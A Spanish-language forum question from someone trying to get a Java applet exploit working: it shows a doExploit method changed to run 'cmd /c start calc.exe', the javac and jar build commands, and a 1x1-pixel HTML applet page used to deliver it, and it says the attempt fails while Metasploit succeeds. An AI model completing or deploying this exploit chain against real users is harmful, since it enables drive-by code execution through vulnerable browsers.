Me interesé en los exploits de Java y me topé con esto:
Es el código fuente del exploit de Java, por lo que aunque mi conocimiento de Java es limitado (aprendí algo en la escuela secundaria), traté de entender lo que sucede en el fondo.
El archivo enlace tiene este código:
public static void doExploit() throws Exception {
Help _tmp = getHelp();
File file = new File("d:/temp/1.php");
String cmd = "php " + file.getAbsolutePath();
System.out.println(Help.doWork(_tmp, cmd));
}
que presumo es el código que se ejecutará con este exploit, así que lo modifiqué a:
public static void doExploit() throws Exception {
Help _tmp = getHelp();
String cmd = "cmd /c start calc.exe";
System.out.println(Help.doWork(_tmp, cmd));
}
Para iniciar calc.exe en una explotación exitosa, y compilarlo con:
javac -d bin redcreen/*.java
cd bin
jar cvf ../appplet2.jar redcreen/*.class
y lo puso en el applet:
<!DOCTYPE html>
<html>
<head>
<title>Exploit</title>
</head>
<body>
<applet archive="applet2.jar" code="redcreen.Exploit.class" width=1 height=1></applet>
</body>
</html>
Pero no hay suerte con la ejecución de calc.exe
en una máquina Java vulnerable. La ejecución de Metasploit funciona. Cualquier orientación o sugerencia es bienvenida.